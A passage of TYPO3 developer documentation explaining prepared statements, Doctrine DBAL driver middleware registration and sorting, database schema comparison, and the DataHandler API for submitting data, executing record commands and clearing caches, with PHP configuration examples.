        $queryBuilder->expr()->eq(
            'uid',
            $queryBuilder->createPositionalParameter(0, Connection::PARAM_INT)
        )
    )
    ->prepare();

$pages = [];
foreach ([24, 25] as $pageId) {
    // Bind $pageId value to the first (and in this case only) positional parameter
 $statement->bindValue(1, $pageId, Connection::PARAM_INT);
 $result = $statement->executeQuery();
    $pages[] = $result->fetchAssociative();
    $result->free(); // free the resources for this result
}
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Looking at a MySQL debug log:

Prepare SELECT `uid` FROM `pages` WHERE `uid` = ?
Execute SELECT `uid` FROM `pages` WHERE `uid` = '24'
Execute SELECT `uid` FROM `pages` WHERE `uid` = '25'
Copied!

The log shows one statement preparation with two executions.

Doctrine DBAL driver middlewares

Introduction

Doctrine DBAL supports custom driver middlewares since version 3. These middlewares act as a decorator around the actual Driver component. Subsequently, the Connection, Statement and Result components can be decorated as well. These middlewares must implement the \Doctrine\DBAL\Driver\Middleware interface. A common use case would be a middleware to implement SQL logging capabilities.

For more information on driver middlewares, see the Architecture chapter of the Doctrine DBAL documentation. Furthermore, look up the implementation of the EXT:adminpanel/Classes/Log/DoctrineSqlLoggingMiddleware.php (GitHub) in the Admin Panel system extension as an example.

Global driver middlewares and driver middlewares for a specific connection are combined for a connection. They are sortable.

Register a global driver middleware

New in version 13.0

Global driver middlewares are applied to all configured connections.

Example:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\CustomGlobalDriverMiddleware;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['my-ext/custom-global-driver-middleware'] = [
    'target' => CustomGlobalDriverMiddleware::class,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
];
Copied!

Disable a global middleware for a specific connection

Example:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\CustomGlobalDriverMiddleware;

defined('TYPO3') or die();

// Register a global middleware
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['my-ext/custom-global-driver-middleware'] = [
    'target' => CustomGlobalDriverMiddleware::class,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
];

// Disable a global driver middleware for a specific connection
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['SecondDatabase']['driverMiddlewares']['my-ext/custom-global-driver-middleware']['disabled'] = true;
Copied!

Register a driver middleware for a specific connection

Deprecated since version 13.0

In this example, the custom driver middleware MyDriverMiddleware is added to the Default connection:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\MyDriverMiddleware;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['driverMiddlewares']['driver-middleware-identifier'] = [
    'target' => MyDriverMiddleware::class,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
];
Copied!

Migration

For example:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['driverMiddlewares']['driver-middleware-identifier']
    = MyDriverMiddlewareClass::class;
Copied!

needs to be converted to:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\MyDriverMiddleware;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['driverMiddlewares']['driver-middleware-identifier'] = [
    'target' => MyDriverMiddleware::class,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
];
Copied!

Registration for driver middlewares for TYPO3 v12 and v13

Extension authors providing dual Core support in one extension version can use the Typo3Version class to provide the configuration suitable for the Core version and avoiding the deprecation notice:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\MyDriverMiddleware;
use TYPO3\CMS\Core\Information\Typo3Version;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['Default']['driverMiddlewares']['driver-middleware-identifier']
    = ((new Typo3Version())->getMajorVersion() < 13)
    ? MyDriverMiddleware::class
    : [
        'target' => MyDriverMiddleware::class,
        'after' => [
            // NOTE: Custom driver middleware should be registered after essential
            //       TYPO3 Core driver middlewares. Use the following identifiers
            //       to ensure that.
            'typo3/core/custom-platform-driver-middleware',
            'typo3/core/custom-pdo-driver-result-middleware',
        ],
    ];
Copied!

Sorting of driver middlewares

New in version 13.0

Global driver middlewares and connection driver middlewares are combined for a connection.

TYPO3 makes the global and connection driver middlewares sortable similar to the PSR-15 middleware stack. The available structure for a middleware configuration is:

target

target
Data type

string

Required

yes

The fully-qualified class name of the driver middleware.

before

before
Data type

list of strings

Required

no

Default

[]

A list of middleware identifiers the current middleware should be registered before.

after

after
Data type

list of strings

Required

no

Default

[]

A list of middleware identifiers the current middleware should be registered after.

disabled

disabled
Data type

boolean

Required

no

Default

false

It can be used to disable a global middleware for a specific connection.

Example:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Doctrine\Driver\CustomGlobalDriverMiddleware;

defined('TYPO3') or die();

// Register global driver middleware
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['global-driver-middleware-identifier'] = [
    'target' => CustomGlobalDriverMiddleware::class,
    'disabled' => false,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
    'before' => [
        'some-driver-middleware-identifier',
    ],
];

// Disable a global driver middleware for a connection
$GLOBALS['TYPO3_CONF_VARS']['DB']['Connections']['SecondDatabase']['driverMiddlewares']['global-driver-middleware-identifier'] = [
    // To disable a global driver middleware, setting disabled to true for a
    // connection is enough. Repeating target, after and/or before configuration
    // is not required.
    'disabled' => true,
];
Copied!

The interface UsableForConnectionInterface

New in version 13.0

Doctrine DBAL driver middlewares can be registered globally for all connections or for specific connections. Due to the nature of the decorator pattern, it may become hard to determine for a specific configuration or drivers, if a middleware needs to be executed only for a subset, for example, only specific drivers.

TYPO3 provides a custom \TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface driver middleware interface which requires the implementation of the method canBeUsedForConnection():

interface UsableForConnectionInterface
Fully qualified name
\TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface

Custom driver middleware can implement this interface to decide per connection and connection configuration if it should be used or not. For example, registering a global driver middleware which only takes affect on connections using a specific driver like pdo_sqlite.

Usually this should be a rare case and mostly a driver middleware can be simply configured as a connection middleware directly, which leaves this more or less a special implementation detail for the TYPO3 core.

canBeUsedForConnection ( string $identifier, array $connectionParams)

Return true if the driver middleware should be used for the concrete connection.

param $identifier

the identifier

param $connectionParams

the connectionParams

Returns
bool

This allows to decide, if a middleware should be used for a specific connection, either based on the $connectionName or the $connectionParams, for example the concrete $connectionParams['driver'].

Example

The custom driver:

EXT:my_extension/Classes/DoctrineDBAL/CustomDriver.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DoctrineDBAL;

use Doctrine\DBAL\Driver\Connection as DriverConnection;
// Using the abstract class minimize the methods to implement and therefore
// reduces a lot of boilerplate code. Override only methods that needed to be
// customized.
use Doctrine\DBAL\Driver\Middleware\AbstractDriverMiddleware;

final class CustomDriver extends AbstractDriverMiddleware
{
    public function connect(#[\SensitiveParameter] array $params): DriverConnection
    {
        $connection = parent::connect($params);

        // Do something custom on connect, for example wrapping the driver
        // connection class or executing some queries on connect.

        return $connection;
    }
}
Copied!

The custom driver middleware which implements the \TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface :

EXT:my_extension/Classes/DoctrineDBAL/CustomMiddleware.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DoctrineDBAL;

use Doctrine\DBAL\Driver as DoctrineDriverInterface;
use Doctrine\DBAL\Driver\Middleware as DoctrineDriverMiddlewareInterface;
use MyVendor\MyExtension\DoctrineDBAL\CustomDriver as MyCustomDriver;
use TYPO3\CMS\Core\Database\Middleware\UsableForConnectionInterface;

final class CustomMiddleware implements DoctrineDriverMiddlewareInterface, UsableForConnectionInterface
{
    public function wrap(DoctrineDriverInterface $driver): DoctrineDriverInterface
    {
        // Wrap the original or already wrapped driver with our custom driver
        // decoration class to provide additional features.
        return new MyCustomDriver($driver);
    }

    public function canBeUsedForConnection(
        string $identifier,
        array $connectionParams,
    ): bool {
        // Only use this driver middleware, if the configured connection driver
        // is 'pdo_sqlite' (sqlite using php-ext PDO).
        return ($connectionParams['driver'] ?? '') === 'pdo_sqlite';
    }
}
Copied!

Register the custom driver middleware:

EXT:my_extension/ext_localconf.php | config/system/additional.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\DoctrineDBAL\CustomMiddleware;

defined('TYPO3') or die();

// Register middleware globally, to include it for all connections which
// uses the 'pdo_sqlite' driver.
$GLOBALS['TYPO3_CONF_VARS']['DB']['globalDriverMiddlewares']['my-ext/custom-pdosqlite-driver-middleware'] = [
    'target' => CustomMiddleware::class,
    'after' => [
        // NOTE: Custom driver middleware should be registered after essential
        //       TYPO3 Core driver middlewares. Use the following identifiers
        //       to ensure that.
        'typo3/core/custom-platform-driver-middleware',
        'typo3/core/custom-pdo-driver-result-middleware',
    ],
];
Copied!

Various tips and tricks

  • Use Find usages of PhpStorm for examples! The source code of the Core is a great way to learn how specific methods of the API are used. In PhpStorm it is extremely helpful to right-click on a single method and list all method usages with Find usages. This is especially handy to quickly see usage examples for complex methods like join() from the query builder.
  • INSERT, UPDATE and DELETE statements are often better to read and write using the Connection object instead of the query builder.
  • SELECT DISTINCT aField is not supported but can be substituted with a ->groupBy('aField').
  • getSql() and executeQuery() / executeStatement() can be used after each other during development to simplify debugging:

    EXT:my_extension/Classes/Domain/Repository/MyRepository.php
    $queryBuilder
        ->select('uid')
        ->from('tt_content')
        ->where(
            $queryBuilder->expr()->eq(
                'bodytext',
                $queryBuilder->createNamedParameter('lorem')
            )
        );
    
    debug($queryBuilder->getSql());
    
    $result = $queryBuilder->executeQuery();
    Copied!
  • Doctrine DBAL throws exceptions if something goes wrong when calling API methods. The exception type is \Doctrine\DBAL\Exception. Typical extensions should usually not catch such exceptions but let it bubble up to be handled by the global TYPO3 core error and exception handling: They most often indicate a broken connection, database schema or programming error and extensions should usually not try to hide away or escalate them on their own.
  • count() <database-query-builder-count> query types using the query builder normally call ->fetchOne() to receive the count value. The count() method of the Connection object does this automatically and returns the result of the count value directly.

Troubleshooting

About database error "Row size too large"

MySQL and MariaDB can generate a "Row size too large" error when modifying tables with numerous columns. TYPO3 version 13 has implemented measures to mitigate this issue in most scenarios. We refer to the changelog: Important: #104153 - About database error "Row size too large".

Database compare during update and installation

Whenever you install or update an extension, or change the TCA definition or the ext_tables.sql in an extension, you have to take into account the fact that the database schema might have changed.

TYPO3 backend with the Maintenance Admin Tools. The database analyzer is highlighted.

Here system maintainers can compare the database schema and apply any changes.

Compare the database schema and apply changes

Users with System Maintainer privileges can use the Analyze Database Structure section in the Admin Tools > Maintenance module to compare the defined schema with the current one. The module display options to incorporate changes by adding, removing, or updating columns.

You can also use the console command typo3 extension:setup to add tables and columns defined by installed or updated extensions:

vendor/bin/typo3 extension:setup
Copied!
typo3/sysext/core/bin/typo3 extension:setup
Copied!

Adding columns and tables is safe

Adding additional columns or tables is not problematic. You can safely add any column shown as missing.

Deleting columns or tables: be careful

Columns suggested for deletion might still be needed by upgrade wizards.

Before deleting tables or columns with the database analyzer:

  • Run all upgrade wizards
  • Make a database backup

Some third-party extensions may rely on database columns or tables they do not explicitly define. Removing them could cause these extensions to break.

Changing a column type: it depends

Some column changes extend capabilities and are safe. For example:

  • Changing from TEXT to LONGTEXT allows more data to be stored and does not affect existing content.

Other changes can cause problems if existing data violates the new definition. For instance:

  • Changing from NULL to NOT NULL will fail if any row, including soft-deleted ones (deleted = 1), still contains NULL.

Some extensions provide upgrade wizards to clean or convert data. Note that many wizards ignore soft-deleted records. Deleting unnecessary soft-deleted records may help.

Conflicting column definitions

Database structure is defined by the Table Configuration Array (TCA) and by definitions in the ext_tables.sql file in an extension, if the file exists.

If two extensions define the same column in different ways, the definition from the extension that is loaded last will take precedence.

This means that an extension that changes or adds columns to a table must declare a dependency on the original extension to ensure proper loading order.

Extbase persistence – models and the database

Extbase provides its own way to persist and retrieve data using models and repositories, which are built on top of TYPO3's database abstraction layer.

Repositories in Extbase usually define custom find*() methods and rely on \TYPO3\CMS\Extbase\Persistence\Generic\Query to perform queries on models.

While Extbase persistence is the standard way to work with data in Extbase, you can also use the DBAL QueryBuilder directly within an Extbase context when:

  • You need better performance on large datasets.
  • You are performing complex queries (aggregates like SUM, AVG, ...).

Introduction

Database

The DataHandler is the class that handles all data writing to database tables configured in TCA. In addition the class handles commands such as copy, move, delete. It will handle undo/history and versioning of records and everything will be logged to the sys_log table. It will make sure that write permissions are evaluated correctly for the user trying to write to the database. Generally, any processing specific option in the $GLOBALS['TCA'] array is handled by DataHandler.

Using DataHandler for manipulation of the database content in the TCA-configured tables guarantees that the data integrity of TYPO3 is respected. This cannot be safely guaranteed, if you write to TCA-configured database tables directly. It will also manage the relations to files and other records.

DataHandler requires a backend login to work. This is due to the fact that permissions are observed (of course) and thus DataHandler needs a backend user to evaluate against. This means you cannot use DataHandler from the frontend scope. Thus writing to tables (such as a guestbook) will have to be done from the frontend without DataHandler.

Files

DataHandler can also handle files. The file operations are normally performed in the File > Filelist module where you can manage a directory on the server by copying, moving, deleting and editing files and directories. The file operations are managed by two Core classes, \TYPO3\CMS\Core\Utility\File\BasicFileUtility and \TYPO3\CMS\Core\Utility\File\ExtendedFileUtility .

DataHandler basics

Introduction

When you are using DataHandler from your backend applications you need to prepare two arrays of information which contain the instructions to DataHandler ( \TYPO3\CMS\Core\DataHandling\DataHandler ) of what actions to perform. They fall into two categories: data and commands.

"Data" is when you want to write information to a database table or create a new record.

"Commands" is when you want to move, copy or delete a record in the system.

The data and commands are created as multidimensional arrays, and to understand the API of DataHandler you need to understand the hierarchy of these two arrays.

Basic usage

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function basicUsage(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $cmd = [];
        $data = [];
        $dataHandler->start($data, $cmd);

        // ... do something more ...
    }
}
Copied!

After this initialization you usually want to perform the actual operations by calling one (or both) of these two methods:

$this->dataHandler->process_datamap();
$this->dataHandler->process_cmdmap();
Copied!

Commands array

Syntax:

$cmd[ tablename ][ uid ][ command ] = value
Copied!

Description of keywords in syntax:

tablename

tablename
Data type
string

Name of the database table. It must be configured in the $GLOBALS['TCA'] array, otherwise it cannot be processed.

uid

uid
Data type
integer

The UID of the record that is manipulated. This is always an integer.

command

command
Data type
string (command keyword)

The command type you want to execute.

See command keywords and values

value

value
Data type
mixed

The value for the command.

See command keywords and values

Command keywords and values

copy

copy
Data type
integer or array

The significance of the value depends on whether it is positive or negative:

Positive value
The value points to a page UID. A copy of the record (and possibly child elements/tree below) will be inserted inside that page as the first element.
Negative value
The (absolute) value points to another record from the same table as the record being copied. The new record will be inserted on the same page as that record and if $GLOBALS['TCA'][$table]['ctrl']['sortby'] is set, then it will be positioned after.
Zero value
Record is inserted on tree root level.
array

The array has to contain the integer value as in examples above and may contain field => value pairs for updates. The array is structured like:

[
    'action' => 'paste', // 'paste' is used for both move and copy commands
    'target' => $pUid,   // Defines the page to insert the record, or record uid to copy after
    'update' => $update, // Array with field => value to be updated.
]
Copied!

move

move
DataType
integer

Works like copy but moves the record instead of making a copy.

delete

delete
Data Type
integer (1)

Value should always be "1".

This action will delete the record (or mark the record "deleted", if configured in $GLOBALS['TCA'][$table]['ctrl']['delete']).

undelete

undelete
Data Type
integer (1)

Value should always be "1".

This action will set the "deleted" flag back to 0.

localize

localize
Data type
integer

The value is the languageId (defined in the site configuration) to localize the record into. Basically a localization of a record is making a copy of the record (possibly excluding certain fields defined with l10n_mode) but changing relevant fields to point to the right language ID.

Requirements for a successful localization is this:

  • [ctrl] options languageField and transOrigPointerField must be defined for the table
  • A languageId must be configured in the site configuration.
  • The record to be localized by currently be set to default language and not have any value set for the TCA transOrigPointerField either.
  • There cannot exist another localization to the given language for the record (looking in the original record PID).

Apart from this, ordinary permissions apply as if the user wants to make a copy of the record on the same page.

The localize DataHandler command should be used when translating records in "connected mode" (strict translation of records from the default language). This command is used when selecting the "Translate" strategy in the content elements translation wizard.

copyToLanguage

copyToLanguage
Data type
integer

It behaves like localize command (both record and child records are copied to given language), but does not set transOrigPointerField fields (for example, l10n_parent).

The copyToLanguage command should be used when localizing records in the "free mode". This command is used when localizing content elements using translation wizard's "Copy" strategy.

inlineLocalizeSynchronize

inlineLocalizeSynchronize
Data type
array

Performs localization or synchronization of child records. The command structure is like:

$cmd['tt_content'][13]['inlineLocalizeSynchronize'] = [ // 13 is a parent record uid
    'field' => 'tx_myfieldname', // field we want to synchronize
    'language' => 2,             // uid of the target language
    // either the key 'action' or 'ids' must be set
    'action' => 'localize',      // or 'synchronize'
    'ids' =>  [1, 2, 3],         // array of child IDs to be localized
];
Copied!

version

version
Data type
array

Versioning action.

Keys:

[action]

Keyword determining the versioning action. Options are:

"new"

Indicates that a new version of the record should be created. Additional keys, specific for "new" action:

[treeLevels]

(Only pages) Integer, -1 to 4, indicating the number of levels of the page tree to version together with a page. This is also referred to as the versioning type:

  • -1 ("element") means only the page record gets versioned (default)
  • 0 ("page") means the page + content tables (defined by ctrl flag versioning_followPages )
  • >0 ("branch") means the the whole branch is versioned (full copy of all tables), down to the level indicated by the value (1 = 1 level down, 2 = 2 levels down, etc.). The treeLevel is recorded in the field t3ver_swapmode and will be observed when the record is swapped during publishing.
[label]
Indicates the version label to apply. If not given, a standard label including version number and date is added.
"swap"

Indicates that the current online version should be swapped with another. Additional keys, specific for "swap" action:

[swapWith]
Indicates the uid of the record to swap current version with!
[swapIntoWS]
Boolean, indicates that when a version is published it should be swapped into the workspace of the offline record.
"clearWSID"
Indicates that the workspace of the record should be set to zero (0). This removes versions out of workspaces without publishing them.
"flush"
Completely deletes a version without publishing it.
"setStage"

Sets the stage of an element. Special feature: The id key in the array can be a comma-separated list of ids in order to perform the stageChange over a number of records. Also, the internal variable ->generalComment (also available through `/record/commit` route as `&generalComment`) can be used to set a default comment for all stage changes of an instance of the data handler. Additional keys for this action are:

[stageId]

Values are:

  • -1 (rejected)
  • 0 (editing, default)
  • 1 (review),
  • 10 (publish)
[comment]
Comment string that goes into the log.

Examples of commands

EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][54]['delete'] = 1;    // Deletes tt_content record with uid=54
$cmd['tt_content'][1203]['copy'] = -303; // Copies tt_content uid=1203 to the position after tt_content uid=303 (new record will have the same pid as tt_content uid=1203)
$cmd['tt_content'][1203]['copy'] = 400;  // Copies tt_content uid=1203 to first position in page uid=400
$cmd['tt_content'][1203]['move'] = 400;  // Moves tt_content uid=1203 to the first position in page uid=400
Copied!

Accessing the uid of copied records

The DataHandler keeps track of records created by copy operations in its $copyMappingArray_merged property. This property is public but marked as @internal. So it is subject to change in future TYPO3 versions without notice.

The $copyMappingArray_merged property can be used to determine the UID of a record copy based on the UID of the copied record.

The structure of the $copyMappingArray_merged property looks like this:

EXT:my_extension/Classes/DataHandling/MyClass.php
$copyMappingArray_merged = [
   <table> => [
      <original-record-uid> => <record-copy-uid>,
   ],
];
Copied!

The property contains the names of the manipulated tables as keys and a map of original record UIDs and UIDs of record copies as values.

EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][1203]['copy'] = 400;  // Copies tt_content uid=1203 to first position in page uid=400
$this->dataHandler->start([], $cmd);
$this->dataHandler->process_cmdmap();

$uid = $this->dataHandler->copyMappingArray_merged['tt_content'][1203];
Copied!

Data array

Syntax: $data['<tablename>'][<uid>]['<fieldname>'] = 'value'

Description of keywords in syntax:

tablename

tablename
Data type
string

Name of the database table. There must be a configuration for the table in $GLOBALS['TCA'] array, otherwise it cannot be processed.

uid

uid
Data type
string|int

The UID of the record that is modified. If the record already exists, this is an integer.

If you are creating new records, use a random string prefixed with NEW, for example, NEW7342abc5e6d. You can use static strings (NEW1, NEW2, ...) or generate them using \TYPO3\CMS\Core\Utility\StringUtility::getUniqueId('NEW').

fieldname

fieldname
Data type
string

Name of the database field you want to set a value for. The columns of the table must be configured in $GLOBALS['TCA'][$table]['columns'].

value

value
Data type
string

Value for "fieldname".

For fields of type inline this is a comma-separated list of UIDs of referenced records.

Examples of data submission

This creates a new page titled "The page title" as the first page inside page id 45:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'The page title',
    'subtitle' => 'Other title stuff',
    'pid' => '45'
];
Copied!

This creates a new page titled "The page title" right after page id 45 in the tree:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'The page title',
    'subtitle' => 'Other title stuff',
    'pid' => '-45'
];
Copied!

This creates two new pages right after each other, located right after the page id 45:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'Page 1',
    'pid' => '-45'
];
$data['pages']['NEWbe68s587'] = [
    'title' => 'Page 2',
    'pid' => '-NEW9823be87'
];
Copied!

Notice how the second "pid" value points to the "NEW..." id placeholder of the first record. This works because the new id of the first record can be accessed by the second record. However it works only when the order in the array is as above since the processing happens in that order!

This creates a new content record with references to existing and one new system category:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['sys_category']['NEW9823be87'] = [
    'title' => 'New category',
    'pid' => 1,
];
$data['tt_content']['NEWbe68s587'] = [
    'header' => 'Look ma, categories!',
    'pid' => 45,
    'categories' => [
        1,
        2,
        'NEW9823be87', // You can also use placeholders here
    ],
];
Copied!

This updates the page with uid=9834 to a new title, "New title for this page", and no_cache checked:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages'][9834] = [
    'title' => 'New title for this page',
    'no_cache' => '1'
];
Copied!

Clear cache

DataHandler also has an API for clearing the cache tables of TYPO3:

EXT:my_extension/Classes/DataHandling/MyClass.php
$this->dataHandler->clear_cacheCmd($cacheCmd);
Copied!

Values for the $cacheCmd argument:

[integer]

[integer]

Clear the cache for the page ID given.

"all"

"all"

Clears all cache tables (cache_pages, cache_pagesection, cache_hash).

Only available for admin-users unless explicitly allowed by User TSconfig "options.clearCache.all".

"pages"

"pages"

Clears all pages from cache_pages.

Only available for admin-users unless explicitly allowed by User TSconfig "options.clearCache.pages".

Clear cache using cache tags

Every processing of data or commands is finalized with flushing a few caches in the pages group. Cache tags are used to specifically flush the relevant cache entries instead of the cache as whole.

By default the following cache tags are flushed:

  • The table name of the updated record, for example, pages when updating a page or tx_myextension_mytable when updating a record of this table.
  • A combination of table name and record UID, for example, pages_10 when updating the page with UID 10 or tx_myextension_mytable_20 when updating the record with UID 20 of this table.
  • A page UID prefixed with pageID_ ( pageId_<page-uid>), for example, pageId_10 when updating a page with UID 10 (additionally all related pages, see clearcache-pagegrandparent and clearcache-pagesiblingchildren) and pageId_10 when updating a record if a record of any table placed on the page with UID 10 ( <table>.pid = 10) is updated.

Notice that you can also use the \TYPO3\CMS\Core\Cache\CacheDataCollector::addCacheTags method to register additional tags for the cache entry of the current page while it is rendered. This way you can implement an elaborate caching behavior which ensures that every record update in the TYPO3 backend (which is processed by the DataHandler) automatically flushes the cache of all pages where that record is displayed.

Following the rules mentioned above you could register cache tags from within your Extbase plugin (for example, controller or a custom ViewHelper):

EXT:my_extension/Classes/Controller/SomeController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\ExampleModel;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Core\Cache\CacheDataCollector;
use TYPO3\CMS\Core\Cache\CacheTag;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class SomeController extends ActionController
{
    public function showAction(ExampleModel $example): ResponseInterface
    {
        // ...

        /** @var CacheDataCollector $cacheDataCollector */
        $cacheDataCollector = $this->request->getAttribute('frontend.cache.collector');
        $cacheDataCollector->addCacheTags(
            new CacheTag(sprintf('tx_myextension_example_%d', $example->getUid())),
        );

        // ...
    }
}
Copied!

New in version 13.3

The frontend.cache.collector request attribut has been introduced as a successor of the now deprecated TypoScriptFrontendController->addCacheTags() method. Switch to another version of this page for an example in an older TYPO3 version. For compatibility with TYPO3 v12 and v13 use TypoScriptFrontendController->addCacheTags().

Hook for cache post-processing

You can configure cache post-processing with a user defined PHP function. Configuration of the hook can be done from ext_localconf.php. An example might look like:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use Vendor\SomeExtension\Hook\DataHandlerHook;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'][] =
    DataHandlerHook::class . '->postProcessClearCache';
Copied!

Flags in DataHandler

There are a few internal variables you can set prior to executing commands or data submission. These are the most significant:

->copyTree

->copyTree
Data type
integer
Default
0

Sets the number of branches on a page tree to copy.

0
Branch is not copied
1
Pages on the first level are copied.
2
Pages on the second level are copied.

And so on.

->reverseOrder

->reverseOrder
Data type
boolean
Default
false

If set, the data array is reversed in the order, which is a nice thing if you are creating a whole bunch of new records.

->copyWhichTables

->copyWhichTables
Data type
list of strings (tables)
Default
"*"

This list of tables decides which tables will be copied. If empty then none will. If "*" then all will (that the user has permission to, of course).

Using the DataHandler in scripts

You can use the class \TYPO3\CMS\Core\DataHandling\DataHandler in your own scripts: Inject the DataHandler class, build a $data/ $cmd array you want to pass to the class, and call a few methods.

Using the DataHandler in a Symfony command

It is possible to use the DataHandler for scripts started from the command line or by the scheduler as well. You can do this by creating a Symfony Command.

These scripts use the _cli_ backend user. Before using the DataHandler in your execute() method, you should make sure that this user is initialized like this:

EXT:my_extension/Classes/Command/MyCommand.php
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendAuthentication();
Copied!

If you forget to add the backend user authentication, an error similar to this will occur:

[1.2.1]: Attempt to modify table "pages" without permission
Copied!

DataHandler examples

What follows are a few code listings with comments which will provide you with enough knowledge to get started. It is assumed that you have populated the $data and $cmd arrays correctly prior to these chunks of code. The syntax for these two arrays is explained in the DataHandler basics chapter.

Submitting data

This is the most basic example of how to submit data into the database.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function submitData(): void
    {
        // Prepare the data array
        $data = [
            // ... the data ...
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Register the $data array inside DataHandler and initialize the
        // class internally.
        $dataHandler->start($data, []);

        // Submit data and have all records created/updated.
        $dataHandler->process_datamap();
    }
}
Copied!

Executing commands

The most basic way of executing commands:

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function executeCommands(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Prepare the cmd array
        $cmd = [
            // ... the cmd structure ...
        ];

        // Registers the $cmd array inside the class and initialize the
        // class internally.
        $dataHandler->start([], $cmd);

        // Execute the commands.
        $dataHandler->process_cmdmap();
    }
}
Copied!

Clearing cache

In this example the cache clearing API is used. No data is submitted, no commands are executed. Still you will have to initialize the class by calling the start() method (which will initialize internal state).

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function clearCache(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);
        $dataHandler->start([], []);
